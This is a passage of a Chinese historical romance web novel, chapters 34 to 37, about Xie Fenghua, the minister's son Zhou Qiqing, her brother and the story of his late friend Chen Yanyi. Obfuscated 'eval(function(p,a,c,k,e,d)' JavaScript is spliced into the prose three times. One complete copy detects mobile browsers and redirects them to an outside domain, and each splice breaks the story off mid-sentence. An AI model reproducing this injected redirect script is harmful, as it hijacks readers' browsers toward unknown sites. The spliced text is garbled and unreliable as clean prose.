她漫不经心地问：“容舟说你不曾参加过科举，而你总推辞说你才疏学浅，上考场容易露怯。世子，当真是这般吗？” 周其卿默然看向窗外。 庭院夜凉如水，一人立于潭水中央，沐浴流光，娉婷婀娜。 似有所觉察，她遥遥朝这边往来。 在视线相接的刹那，如烛火灼烧肌肤，周其卿心尖一颤，逃避般收回目光，落在面前人身上，恢复了一惯的懒散。 “明家主，台上假戏可生真情，台下看客亦可怀假意，情本无性，谁又能以‘真假’概之？至于科举，确是我不好读书，不愿如父亲般追名逐利，生生被名利折弯脊梁。” “我愿帮谢娘子，是因为志本不在此，谢娘子有才华、有城府、有胆识，她比我更需要这方戏台，亦能作出另一番天地。” 他这话说得感人肺腑，滴水不漏，明玥一时挑不出他的错，只得赞同般点点头：“世子说得在理，是我们以偏概全了。” 周其卿道：“明家主为谢娘子，亦如母亲为我，为之计深远，此乃人世常情，谢娘子爹娘若泉下有知，也当安息了。” 为了堵上她的嘴，居然还搬出了公婆，当真是有其父必有其子，周其卿这张嘴彻彻底底随了他那搬弄是非的父亲。 明面上，明玥自然不好说什么，却不妨碍她在背地里问候周氏九族。 明玥皮笑肉不笑：“世子既志不在此，那我也没什么好交代的了。作为谢娘子的嫂嫂，我还是想多言一句——爱慕也好，利用也罢，谢娘子若因世子有了分毫差池，别怪我明家不顾体面，新仇旧恨，我们一同算账。” 视线交汇，刀光剑影中，硝烟无声弥漫。 周其卿依旧挂着体面的笑意，躬身告辞：“多谢明家主点醒。” 转身，那抹常挂于面上的奉承，顷刻间荡然无存。 34. 第 34 章 周其卿走后不久，谢逢华这才发现桌上被遗忘的丝帕，思来想去，还是追出门，却被看守后门的侍从告知周其卿已被明玥带走。 谢逢华心中咯噔一下，好似有什么东西落在地上，摔得四分五裂。 踌躇间，人已站在明玥所居的院中。 兄长晚时用过饭便去书房备课了，屋内烛火黯然，谢逢华估摸着他已早早睡下，按住欲入室通报的家仆，悄声离开了。 寻人路上，谢逢华偶遇明玥的贴身婢子，这才知晓明玥去了西北角的茶室。 “需要婢子替您通传一声吗？”将谢逢华带到茶室附近，侍女好心问道。 透过那半掩的窗扇，一长一少安然对坐。 有一缕青烟袅袅，模糊了周其卿那一闪而过的眼色，随后若无其事般，徐徐涌入夜色中，再也寻不见一丝踪迹。 谢逢华握紧丝帕，轻轻摇头：“我再等等。” 晚时她还答应过嫂嫂，再三保证不会与周其卿有半点瓜葛，没成想晚上就…… 谢逢华摸了摸脸颊，莫名觉得有些疼。 早知会被发现，那时就不该让他翻窗入户。 谢逢华搅着帕子，时不时望向门口，既期待，又惶恐。 正搜肠刮肚组凑合适的借口，只听“吱呀”一声，启开的门扉中央，立着她牵肠挂肚的少年。 见到她，周其卿并无过多异色，三两步快步走到她面前，语气平和：“你怎么跟来了？” 谢逢华下意识瞥了眼他身后，一线窗缝里，隐约能窥见摇曳的素色衣角。 “他们说嫂嫂挟走了你，我担心，便过来瞧瞧。” 出了庭院，走了些距离，谢逢华实在心神不宁，便停下脚步，回首问道：“你和嫂嫂说了什么？” 周其卿双臂环胸，饶有兴致地打量她，话到唇边又嚼了几下，慢悠悠道：“说……本世子要八抬大轿迎娶谢娘子，还请明家主高抬贵手，放我们这对苦命鸳鸯一马。” 谢逢华愈听愈觉得荒谬，强笑道：“世子，我从未答应过您，我们何日成了‘苦命鸳鸯’？” 周其卿仰头望天，幽幽苦叹：“晚辈冒着声名扫地的风险，又是翻墙又是走后门才得谢娘子施舍一眼，到头来反成了晚辈的一厢情愿，难道还不够命苦吗？” 谢逢华怒极反笑：“周世子，我说过，我不喜欢年纪比我小的。” “你喜欢陈元邑那种？”周其卿嗤笑，“一个至今未完婚却凭空生出一个孩子的负心汉，到底哪里比我好？” 谢逢华真想用帕子裹上泥土狠狠塞进他那张喋喋不休的嘴里，“周其卿！随意诋毁旁人，这便是你的礼教吗？” “礼教？” 周其卿上前一步，拉近二人距离，一字一顿道：“周家的礼教就是——用尽一切方法，得到自己想要的。” 既要得到，那便死死握在自己手中，不许任何人觊觎半分。 若得不到，即便毁掉也无伤大雅。 周其卿本就高她半头，沉沉月影压在身上，划过他越发成熟的棱角，反倒添了些不近人情的冷锐。 谢逢华下意识后退，一只臂膀绕过身侧，缠上她的腰，暗暗使力，将她固定在方寸呼吸间，动弹不得。 断了退路，谢逢华只能将视线重新落在面前人身上。 谢逢华昂首迎上他探究的视线，故作镇定，“周世子，您现在这幅模样，倒是和您的父亲越来越相像了。” “是吗？”周其卿垂眸，诡异地低声笑了下，喃喃道，“真是令人作呕。” 他竟也如此厌恶自己的父亲吗？ 谢逢华正琢磨他这话的深意，周其卿再度开口：“谢娘子，我与父亲不一样。” “我有情，他无情，至少……我不会为了那些虚有其表的名声，出卖自己的家人。” 出卖……家人？ 什么意思？ 谢逢华紧紧握着那块未送出去的丝帕，目送那抹身影融于浓夜中，隐与灯火繁华时，直至再也寻不到他的身影。 若真到那一天，他们的立场，还会如此相似吗？ 天际一声闷雷乍响，寒雨瓢泼。 谢逢华撑伞迈下马车。 朱门飞檐，门下，谢怀世面色铁青，倒是比脚下的青石还要暗上几分。 怎么回事，不是说好容舟来接她吗，怎么变成谢怀世了？ 谢逢华转身想走，却发现马车跑得比她还快。 谢逢华迎着那道欲杀人的目光，磨蹭到谢怀世面前，视线越过他，在他身后的池潭游荡，支支吾吾唤了声：“谢学正。” 谢怀世打量她崭新的衣裙，揶揄道：“谢学录，方才想去哪儿啊。” “我……我突然想起把嫂嫂忘在府中了。”谢逢华嘟哝，收了伞，扭身钻到谢怀世伞下，撒娇道，“兄长怎的有空来接妹妹了？” “容祭酒今日要入宫述职，腾不出空，托我来接你。”胭脂遮不住唇上苍白，谢怀世握了握她的手，蹙眉，“怎穿的这般少？不冷吗？” 谢逢华紧了紧长衫，道：“这阴雨来得突然，来不及换了。” “我房中且有一袭斗篷，一会儿我取给你。”谢怀世解下防风的披风，系在她身上。 谢怀世今日无课，谢家兄妹边走边聊，从太学规矩聊到太学学子，到后面，谢怀世唉声叹气的次数明显变多了。 “真不知你为何非要寻这门苦差。” “苦不苦，也要妹妹自己说了算。”谢逢华说。 偶时遇到下堂的学子向谢怀世拜礼问好，谢怀世皆一一应答，甚至还能清楚唤出学子姓名，问上几句课业。 “谢学正。”刘尽才不知从哪里冒出，笑吟吟与谢家兄妹问安。 转而看向谢逢华，刘尽才眼角有多了些许皱纹，“谢娘子……哦，该称一声谢学监，以后同在太学，这些令人闹心的学子，就劳烦谢学监多多费心了。” “刘博士这是哪里的话。”谢逢华哪里受得起他的恭维，诚惶诚恐道，“刘博士老成见到，该是晚辈向您学习才对。” 谢怀世听着他们你一言我一语的奉承，一时竟插不上话。 “本官尚有要事，不便奉陪，改日定当请谢学监同饮一杯。”说罢，转而看向谢怀世，道，“济民啊，学子们年轻气盛，不懂事，失言也是常有的事。那些话，你莫要放在心上。” 余光瞄向身旁一无所知的谢逢话，谢怀世唇瓣碰了碰，最后却是什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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临走时，还不忘嘱咐谢怀世保管好自己的伞，晚时便去取。 谢逢华寻了一圈，并未在谢怀世所说的地方找到另外两个学录。 沿着小径，穿入上舍，打眼撞见不远处人头层层叠叠堆撺，人声絮语如骤雨击窗，持久不绝。 谢逢华好奇围上前，拨开人群挤入中央，三两个学子捂着腹部在地上翻滚哀嚎。 一人踉跄从地上爬起，却痛得浑身痉挛，扑通一声跪坐在地，纵使已鼻青脸肿，也阻止不了一声声肮脏的咒骂。 那人啐出一口血沫，阴恻恻盯着眼前人，“周其卿，太学谁人不知，宰相不许你参加科举。世子又如何，你注定只能做个百无一用的纨绔！” “哦？是吗？” 指腹抹去唇角血痕，周其卿噙着笑，神态淡然，似不为所动，却缓缓抬起手。 “这话，小爷不爱听。” 周其卿手中赫然握着一柄长剑，光耀之下，渗着森冷寒意。 伴随此起彼伏的惊呼，剑锋劈开疾风，急速朝那人脸面劈去。 35. 第 35 章 当啷！ 伴随一声闷哼，长剑骤然坠地。 众人战战兢兢睁开眼，却未曾看到预料中的血腥场面。 叫嚣的学子不可置信地抚摸脑袋，劫后余生的欣喜让他再也顾不上什么骨气，一下子瘫软倒地，大口喘着粗气，心有余悸地看向周其卿。 周其卿俨然没他那么好受。 被撞倒的刹那，扑面而来的，熟悉的芳香灌入鼻腔，那只手生生绕过她的身体，推离改作搂抱，拉着谢逢华一同倒在地上。 雨水尚未干透，混着泥水湿哒哒黏在后脊，周其卿却顾不得衣衫，撑身看向身上的谢逢华。 青白的发带飘过指尖，如春雨拂面，抚平了野火燎原的荒野，带去了春日的生机与希冀。 谢逢华却未曾分他本分眼色，利落撑地起身，走向倒地的几人，“能站起来吗？” 那学子愣愣点头，又像是惧怕什么似的，又摇头：“能，能。” 谢逢华查验了另外两人的伤，问了名姓，从围观的学子中随意点了几人，让他们先回去医伤，又以上课的名头遣散了围观的学子。 周其卿眉心微拧，俨然并不偏好息事宁人的法子。 谢逢华弯腰拾剑，递给他，“出了什么事？” 纵使周其卿怏怏不平，现下也只得憋屈接过剑，收入鞘中。 “他们诋毁我，还污蔑我的母亲。”问及前因，周其卿余怒未消，气愤道，“他们说，是我母亲在背后把持朝政，舅舅畏惧母亲威压，才荒废朝政，他们还说我母亲是红颜祸水，是她引得周家这滩祸水祸乱朝纲，他们还说我——” 谢逢华静静看着他，却在眼泪停滞在眼眶时候，出言打断道：“长公主上阵杀敌，是为保家卫国；你父亲戕害朝中官员，是为巩固相权，而你杀了他们，只会搅浑这滩污水。他们不在乎，是因为他们有足够的能力扫清障碍，而你耿耿于怀，也只是蜉蝣力竭时无能的呐喊罢了。” 类似的话术，周其卿已听过无数遍。 似乎也只有谢逢华，不胜其烦地撕开蒙在他眼前的云雾，将残忍的现实原原本本地展现于他。 所有人都在劝周其卿安于当下，也只有谢逢华推着他向前走。 究竟是受人所托，还是别有目的，这条路如何走，还能走多久，周其卿已无暇顾及。 谢逢华许是他们翻盘的契机，只要谢逢华还在华京一日，周其卿便还有一日的时机筹谋，也就多一份胜算。 只要她不影响这盘棋，其余的，便随她去罢。 “我没想杀他们。”周其卿嘟哝，说着再次抽出剑，搁置掌心。 谢逢华来不及阻止，只见周其卿握紧刀柄用力一扯，刀刃割过掌心，只留下一条转瞬即逝的红痕。 谢逢华还浸在错愕中，周其卿手腕一翻，剑柄对着谢逢华，说：“没开刃，只是吓唬他们而已。” 剑比菜刀还要沉几分，谢逢华握了下便还给他，却仍是心有余悸，“下次不要当着这么多人的面……做这些事，都是学子，若日后同朝为官，总会落人口舌的。” 剑花一现，剑身入鞘，周其卿咧嘴笑道：“事发突然，下次一定。” “还是别有下次了，”谢逢华摸出帕子，抬手按在他的眼角，“都破相了，还嘴硬呢。” 隔着柔软的丝帛，指尖温度传递至伤处，竟觉察不到分毫刺痛，更多的，是一种由内至外的酥麻和痛快。 周其卿微微低头，恰好看到她瞳孔里的丧家之犬。 狼狈，却也不失一身傲骨。 谢逢华还在絮叨着什么，可周其卿已全然听不进去。 谢逢华的眼中有他。 周其卿沾沾自喜地想。 她厌恶的是周家，是周惕守，与周其卿又有何关系？ 若日后容氏收权，周惕守倒台，周其卿便能顺利参加科举，待他位及人臣，八抬大轿将谢逢华风风光光迎进门，到那时，谁敢说一句不是？ 只是母亲告诫在先，周其卿也只能强按下心中躁动，静候时机。 正想着如何才能让谢逢华晚些出嫁，额角骤然坠入刺痛，疼得周其卿忍不住倒吸一口冷气。 “想什么呢？笑得牙都露出来了。”谢逢华满脸疑惑，“方才我说的话，你记住了吗？” 周其卿捂着额角，默了片刻，道：“记住了。” 这副模样，想必是没入进耳。 谢逢华叹气，把染血的帕子揣进他的手中，“你且好好读书，其余的事，交由我来解决。” 周其卿：“我们之间的事，为何要交由你？” 谢逢华：“我是容祭酒亲派的太学学监，我不负责，难道要将长公主请到太学解决吗？” 周其卿：“……” 连消息最灵通的周其卿都被蒙在鼓里，显然容舟的嘴密不透风，令人安心。 新学监上任的消息不胫而走，到晚膳时候，已经有不少学子面见过谢逢华。 午时谢逢华寻过那几名挑衅周其卿的学子，问起缘由，他们信誓旦旦，咬死是周其卿欺负学子在先，他们只是替天行道。 “替天行道？”容舟撂下笔，抬眼看向身侧研墨的谢逢华，“你克夫，我现在杀了你，算不算替天行道？” 其实可以换个比方的…… 谢逢华略加思索，道：“人上两横为天，圣上为天，平民百姓亦可为天，王法为天，一年四季二四节气亦为天，说来说去，哪有什么天，不过是人心作祟，为人戴高冠罢了。” “你这解释倒是有意思。”容舟笑了笑，重新拾起笔，漫不经心道，“今日惹事的都是谁？” “周家世子周其卿，礼部尚书之子吕氏，大理寺卿之子邓氏，还有刑部侍郎之子郑氏。” 听完谢逢华念的几个名字，容舟若有所思，而后莫名笑了声，“宰相、礼部、大理寺、刑部，这几家人呐，都不是个省油的灯。” 明面上是学子之间的你争我斗，实则牵扯到几家恩怨，谢逢华亦拿不准主意，只能先来询问容舟的意见。 姜还是老的辣，那就用老姜泡辣酒，以毒攻毒。 容舟看了眼一旁犹豫不定的谢逢华，像是作出了什么决定，道：“此事说来复杂，明日我寻个时候与他们说道说道，” 谢逢华应声，默默研好墨汁，正要回床上歇息，容舟冷不防唤住了她，“昔年谢学正有个同窗好友，名叫陈言意，你可曾听过？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533631|186445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 扣子又别成了死结，谢逢华寻摸着绳结，头也不抬道：“未曾听过，怎么了？” “今日随圣上去了趟翰林院，圣上偶然问起陈大人，便想起些事。”容舟道，“说来也巧，当年陈言意也曾与刘博士共事，今年谢学正又与刘博士成了同僚，倒真是缘分。” 屋内燃了烛火，谢逢华眼前却一阵阵发黑，绳结越解越紧，急得后脊渗出薄汗，沾透了衣衫。 容舟仍撰写着表书，全然未觉：“圣上还夸赞陈大人刚直廉洁，若非掺进那些破事，也不会贬官流放，落得个家破人亡的下场，当真可惜。” “这些事，兄长未曾与我提及。” 好不容易解开衣扣，谢逢华拆下发髻，将额发尽数拨弄至脑后，用发带束于脑后，“既能得圣上青睐，想必这位陈大人生前定当是个心怀苍生的好官。” “好官吗？是个好官。”容舟苦笑，喃喃自语，“若非是我执意与周惕守死磕倒底，或许就不会发生那些事……他是为我扛了灾，是我害了他。” “其实……”其实也不全是因为您。 看着那道落寞的背影，纵使心中万千疑惑哽在喉间，稀稀落落的字眼抨击牙关，谢逢华咬了咬牙，将其尽数咽回腹中，转身继续收拾床褥。 事已至此，后悔又有什么用呢？ 不过是徒增无用的悲伤罢了。 谢怀世下了堂，在一处角落找到了正在教训周其卿的谢逢华。 谢怀世走近，听到些字眼，心下便已了然，抬手拦住空中乱飞的戒尺，看向周其卿：“又逃课了？” 周其卿正与谢逢华玩笑，见他靠来，敛了笑，正色道：“没有。” “还说没有？我那日如何与你说的，你转头就忘了个干净！”若非谢怀世拦着，谢逢华挥舞的手定当拍在周其卿脸上。 谢怀世顿时警觉：“你们说什么了？” “没什么。”谢逢华和周其卿异口同声。 周世子逃课逃学乃是家常便饭，多少人来了都管不住，更何况是弱不禁风的谢逢华。 谢怀世本就不愿谢逢华与周家有过多牵连，和了几句稀泥，牵着还在生闷气的谢逢华离开了。 “他不愿学就罢了，何必逼他。”谢怀世将鸡腿夹到谢逢华碗中，好脾气地劝道，“他不学，自有人学，他不做官，自有人为了一介毫不起眼的小官挤破脑袋。” “可是……” 可若周其卿不能入局，周家便永远是旁观者，谢逢华又该如何破了这盘无解的棋局？ 明玹没说错，谢逢华的确偏爱兵行险招。 周其卿是一步险棋，也是谢逢华破局的筹码。 其实谢逢华大可以选旁人，只是明年又逢三年一次的科举，谢逢华一时也找不到比周其卿更合适的人选。 错过明年，或许还要再等上三年，寻找更合适的人选。 三年又三年，一个人的人生又能等几个三年？ 谢逢华等不起。 为了活着的亲人，为了死去的冤魂，她宁愿赔上自己，也要放手一搏。 谢逢华看向谢怀世，“兄长，您先前所说的在朝为官的好友，就是前礼部侍郎陈言意罢？” 36. 第 36 章 明嘉十八年，谢怀世离乡背井，远赴华京赶考。 第一年考试并不顺利，谢怀世名落孙山。 如五雷轰顶，谢怀世一整日昏昏沉沉，当夜便在酒楼借酒浇愁，一时不察，喝得酩酊大醉。 店小二司空见惯，将他推搡醒，让他结了帐，回家再睡。 谢怀世正感叹店家的冷漠绝情，一摸怀，别说银子，就连一片布料都没摸到。 谢怀世登时清醒过来，摸遍全身，一时冷汗直流。 完了，晚时出来的急，荷包忘在客栈了。 谢怀世支支吾吾商量赊账，店小二瞥他一眼，唤来了老板娘。 酒楼老板娘脾气火爆，当即一顿破口大骂，听到“赊账”二字更是一通阴阳怪气，谢怀世哪里见过这场面，一时脸涨的通红，手足无措地站在原地，不知如何是好。 “不过就是忘带钱了，您何必如此咄咄逼人？” 围观人群中，白衣男子挺身而出，愤愤然掏出钱袋，将几量碎银拍在桌上，“我替他付了。” 老板娘睨了他一眼，欲骂又止，像是憋了口恶气吐不出来，支使店小二收了钱，骂骂咧咧地走了。 看戏的人自觉无趣，三三两两散开，谢怀世这才松了口气，朝那人拱手施礼，道：“多谢兄台解围，鄙人姓谢，不知贵人尊姓大名？” “陈言意，家中行二，唤我陈二便可。” 陈言意随性，衣着饮食虽不及富贵人家，却也足够温饱。 据说他还有个在朝中做官的兄长，向来言笑不苟，前阵子又被派到南方任职，因而兄弟二人并不十分亲近。 提及家中兄长，陈言意唉声叹气，说着什么“长兄如父”“想要个嫂嫂”之类的话，一杯接一杯的往口中灌，幸好谢怀世拦着，才没让他醉倒在酒桌上。 “你家住哪儿？我送你回去。” 陈言意伏在案上，含含糊糊报出一个地方，话落，怔愣片刻，忽然拽住谢怀世的衣袖，紧张兮兮地问：“现在是什么时辰了？” 谢怀世窥向窗外，根据月影，大致估摸了时辰，“约摸戌时了罢。” “完了！”陈言意仿佛被狗咬了一口，一激灵坐起，冷汗如注，瞬间浇灭颊上绯红，“我家娘子又要骂我了！” 想不到此人年纪与他相仿，竟早已成家。 谢怀世道：“要不……我送陈兄回去？” “没事，我自己能走！”宛若壮士赴死，陈言意撑身离座，挺起胸膛，毅然决然向着门口走去。 下一刻，伴随“扑通”一声闷响，地上多出一个奇形怪状的“大”字。 谢怀世：“……” 谢怀世摸出他的钱袋，付清账，半拖半拽地朝着他所指的地方走去。 半路哭，半途嚎，吵吵闹闹，穿过街巷，二人停在一栋宅院前。 看到熟悉的木门，像是完成了最后的使命，陈言意头一歪，鼾声大作。 谢怀世：“……” 陈言意的妻子姜氏自幼与陈言意青梅竹马，因为两家聚少离多，直到半年前二人才成了婚。 看着昏睡不醒的陈言意，姜氏红润的鹅蛋脸上露出一抹嫌弃，当着外人的面，想发作却也只能硬着头皮扶着醉鬼进屋。 谢怀世大致说了前因后果，说什么也要寻纸笔打欠条。 欠钱应还，何况陈家并不富裕，姜氏犹犹豫豫地看了眼丈夫，最后点了头。 谢怀世才落笔，方听姜氏道：“我夫君……今年又落榜了。” 多年的忧虑溢出眼角，凝成几道浅浅的皱纹，姜氏望着床榻上梦呓的丈夫，道：“我们在京中也没什么朋友，他无处宣泄，日日憋在心中，迟早要憋出病来。” 姜氏欠身施礼，恳求道：“我读书少，帮不上啥忙，若您不嫌弃，可否与他搭个伙，就个伴？” 许是同病相怜，亦或是为了报之桃李，谢怀世点头应允。 “之后我们同窗共读，又熬了三年，三年后——也就是明嘉二十一年，他榜上有名，我再次落榜。” “纵使那时我已成婚，可我不甘心就此放弃，于是在你嫂嫂的支持下，我一边在学堂教书养家，一边继续准备下次科考。” “那几年，陈言意节节高升，没两年就成了皇帝身边的红人，我们各自安好，见面的次数越来越少，有时连他的消息也打听不到半分。” “后来的事情你也知道了，你嫂嫂小产，伤了根本，我一时无心备考，彼时许多的不得已，让我们被迫搬离皇城，搬到城西隐居养性。” “我们最后一次见面，大抵是在明嘉二十三年的冬天。” 那年的冬天未曾见半片雪花，却冷得刺骨。 明玥着了风寒，久病不愈，连夜的咳嗽咳得人心肝颤，吃什么吐什么，最后连最基本的进食都很艰难。 谢怀世心急如焚，翻出家中仅有的厚衣裳，尽数套在明玥身上，随后背起明玥，入城中为明玥寻医求药。 风如利刃，剜骨割肉，就连喉咙间都充斥着血腥气。 听着耳畔的呼吸声渐渐衰弱，谢怀世咬紧牙关，一路不敢停歇。 可终究还是晚了一步，所行之处，医馆皆已落了锁。 谢怀世叩门，里面久久不应。 近乎绝望之际，一盏红灯笼自身后出现，照亮了脚下的路。 “济民兄？” 陈言意将他们带入陈府，唤来了府医。 府医为明玥开了两剂方子，汤药灌入口中，不出一炷香，明玥的脸颊便恢复了血色。 谢怀世如释重负，后知后觉的疲惫灌入四肢，扑通一声坐倒在地上。 如溺亡之人获救后对世间的贪恋，谢怀世大口粗喘着，大脑近乎于一片空白。 “济民兄？”陈言意搀起他的臂膀，想把他从地上扶起来。 才站起身，双膝一软，竟又跪倒在地。 “陈大人……”谢怀世喉间哽咽，张了张口，眼泪却先于话语而出。 “济民兄这是何意？”陈言意连同几个下人合力才勉强将谢怀世拽起来。 堂堂八尺男儿，竟也哭得如同呱呱落地的婴孩，一把鼻涕一把泪地往衣襟上蹭，泣不成声：“今日若无陈大人出手相助，我……我怕是无颜面对……” “好了好了，举手之劳罢了。”陈言意拍拍他的肩，“你我多年情谊，不必如此生疏，要谢，就谢府中救死扶伤的府医和坚持到现在的嫂子罢。” 谢怀世点头，正欲走向床榻，忽而又想起什么，问道：“陈大……直正，你——” 陈言意似看出他想问什么，摆摆手，道：“今夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢怀世蹙眉，对他后句话表示反感，可转念一想，他又掺和谁的家事了？ 正欲质问，却见陈言意怔怔盯着纸上文字，低喃着什么。 “直正？” “啊？”陈言意如梦初醒，意识到失言，他扯了扯嘴角，咧出一个比哭还难看的笑，“抱歉，我……” 那时，谢怀世只当他公务繁忙，累坏了身子，分别之时还劝慰他多注意休息。 可谁又能想到，那一别，竟成了最后一面。 “其实在前两年，直正给我来过一封信，信中他说临别之前想再见一面，重叙同窗时光。” “我本来想去的，可距离约定前半个时辰，我突然很恐惧面对他，于是又逃回了家。”谢怀世干笑，朝冰凉的手心哈口热气，看向靠在自己肩膀上的谢逢华，“虽然那次我们没能见最后一面，但好在你遇见了他，还将他的……他病故的消息带回来。” 谢逢华望着天际的一轮残月，嘟哝了句什么。 “什么？” “没什么。”谢逢华拍拍身上的灰尘，“你继续赏月罢，我回去睡觉了。” 37. 第 37 章 虽预料到容舟可能会大事化小，但谢逢华还是低估了容舟的威慑力。 有容舟从中调和，原本牵扯几家恩怨的互殴变成了学子之间的小打小闹。 谢逢华看着互相鞠躬道歉的几个学子，头疼地按了按眉心。 事后，周其卿面色不善，一句话也没说，扭头就走。 那几个学子脸上淤青未消，满脸的不情不愿。 待周其卿走远，谢逢华唤住那几个欲离开的学子，“为何诋毁长公主？” 几人你看看我我看看你，磨磨蹭蹭相互推卸半天，其中一人被推了出来。 那人瞪了同伴一眼，对谢逢华施礼，道：“谢娘子，众所周知的事情，谁不是心知肚明，我们只是将旁人不敢说的不敢做的做了出来，为何偏偏揪着我们不放？” “周所周知便是真相吗？”谢逢华正色道，“一传十，十传百，口口相传，不过逞口舌之欲，又有谁真的在乎背后的真相。长公主杀敌军，护家国，也曾庇佑大夏一方安宁，众人选择忽略她的光彩，以口舌诛杀她的亲人，你们自诩的正义，不过是踏在他人的血肉之躯上行小人之行罢了。” “谢学监，这话严重了罢。”刑部之子不满，“我们行得正坐得直，问心无愧，反倒是他周其卿，仗势欺人，为虎作伥，欺凌弱小。当初谢学正不过当堂批评他几句，他竟指示同舍推谢学正下水，谢娘子既是谢学正妹妹，又为何总是偏向罪魁祸首？” 谢逢华一怔：“下水？” 瞧见谢逢华满脸疑惑，身侧人立刻用胳膊肘捅那人腰窝，示意噤声。 “是他指使……”谢逢华一时间竟捋不清，抓住那人衣袖，焦急地问，“你把话说清楚，什么叫‘周其卿指使推我兄长落水’？” 几人面面相觑，其中一人眼珠一转，倏然换了副悲天悯人的腔调，道：“谢学正自打来了太学，日日被周世子针对，我们畏惧周世子的威慑，不敢出言相助，凡是帮谢学正的，皆被那些人教训了一番。甚至谢娘子来了太学，凡是与谢娘子说过话的，都被周其卿……这些事，谢学监竟一点不知吗？” 浑身血脉逆流冲击天灵盖，谢逢华僵在原地，过往回忆如走马灯在她眼前掠过，一阵冷风裹挟着绝望的悲吼，如同毒蛇般缠绕住她的脖颈，勒得她喘不过气。 直到有人轻拍她的肩膀，谢逢华骤然惊醒，看向来人。 章旭好整以暇地看着她，幸灾乐祸道：“谢学监这是怎的了？唤您好几声都没听见。” 谢逢华抬眸，“周其卿欺凌同窗的事，你知晓吗？” “太学无人不知。” “谢学正呢？”说这话时，谢逢华喉咙间疼得几近撕裂，“是他让人……推我兄长入水的？” “哦，他啊……”窥见谢逢华苍白的唇色，章旭不自在地摸了下鼻尖，“周世子的性子您也是知晓的，他想做什么，我们哪里拦得住……” 话音未落，只见方才被蹴鞠砸了肩都一动不动的谢逢华，此刻像是喝了雄黄酒般，一个箭步冲了出去，眨眼间便将章旭远远甩在身后。 “这么心急啊。”章旭嘟哝，弯腰拾起蹴鞠，朝远方的同伴招呼，“我来了。” — 容舟离开后，周惕守将周其卿唤到祠堂。 当下人都退出去，门闭合的刹那，一巴掌重重落在周其卿的脸上。 “成事不足，败事有余！一天天净在外惹是生非。” 血腥气在唇齿间弥散，颊上灼痛，想必已破了相。 周其卿垂眸，将血痰咽回腹中，“父亲，儿子维护母亲也有错吗？” “我大夏的长公主何时需得你出面维护。”周惕守睨着与自己有七八分像的儿子，心中厌恶更甚，“你少在外惹事生非，才是孝敬长公主殿下。” 周其卿眉头微蹙，一张口，所有的怨气像是有了宣泄的地方，倒豆子般尽数倾泻而出：“那些流言蜚语在民间流传，究竟是长公主无思无虑，还是父亲有意纵容？难道我们不是一家人吗，一荣俱荣，一损俱损，您又能从中获得什么？” “一、家、人。”短短三个字，周惕守反复咀嚼许久，冷笑道，“周其卿，你母亲太惯着你，才教的你如此无法无天！” “今夜你就跪在这里，什么时候想通了，什么时候再出来见我！” 说罢，周惕守拂袖而去。 他们父子总是这般不欢而散。 他们为一点鸡毛蒜皮的小事吵得面红耳赤，吃着一桌饭却说不出一句使对方满意的话，父子间如此，夫妻间亦如此。 有时周其卿不得不怀疑，眼中尽是利益和算计的父亲，在这十多年中，可曾有一刻真的爱过他们母子。 一排排先祖牌位在灯火中泛着莹莹烛光，周其卿呼出口浊气，跪坐在蒲团上。 晚些时候，有人来送饭，却被父亲身边的看守借口驱走。 后来，周燕飞来过一次，却连门槛都没踏进来，隔着数尺，遥遥对着他挺直的脊梁哭。 看守的仆从不敢动这位金尊玉贵的小姐，只好去将二夫人唤了来。 二夫人姗姗来迟，看着他未有丝毫动摇的背影，只问了一句话： “明日的课还上吗？” 不能科考，就没办法做官，做不了官，握不住权，就没办法保护身边人。 周惕守从乡野匹夫爬到宰相之位，娶公主制皇帝，腥风血雨夹杂着苦难，磨砺出最自私的心脏。 好不容易得到手的东西，又怎能允许旁人染指？ 即便那人是亲人、是发妻、是亲生儿子——可那又怎样？没有皇帝赏识，没有公主提拔，一个靠卖亲人清白上位的伪君子凭什么心安理得坐在宰相的位子上趾高气昂。 他也不过是为了维护可笑的自尊心罢了。 “上。”周其卿嗓音沙哑，“一定上。” 再次遇见周其卿，已是两日之后。 与其说是偶遇，不如说是冤家路窄。 今夜在御青阁耽搁的久了，朝廨舍走时，路上归舍的学子已寥寥无几。 谢逢华低头想着事情，一时没注意前方的路，迎面与一人撞了个满怀。 “抱歉，我——” 看清眼前人时，谢逢华咽下呼之欲出的道歉，只恨自己头上不长角，不能一下撞死他。 几日不见，周其卿面色更憔悴了些，看向她的目光依旧没什么温度，“你在躲我？” 表现得这么明显吗？ 谢逢华想。 “世子倒真是会开玩笑，我又没做亏心事，为何要避您？”谢逢华随口敷衍。 周其卿说：“我找了你几次，你分明人在屋内，却派人传话说你不在，谢学监，我这双眼睛长得好好的，怎么就被你当做瞎子了？” 虚伪。 忆起这些天从学子口中得知的事情，再看眼前人，谢逢华没由得生起一股烦躁。 “世子既知我在躲您，又何必纠缠不清，反让人落了口舌，牵连世子。” 一口一个世子，这是她心情不快的征兆。 周其卿茫然无措，本能去拉拽她的衣袖，却被她侧身躲过。 冷月坠在她身上，凝成一层薄薄的寒霜。 周其卿不敢碰，不敢闻，怯弱藏起手，不敢再近身一步。 “谢娘子，我做错了什么？” 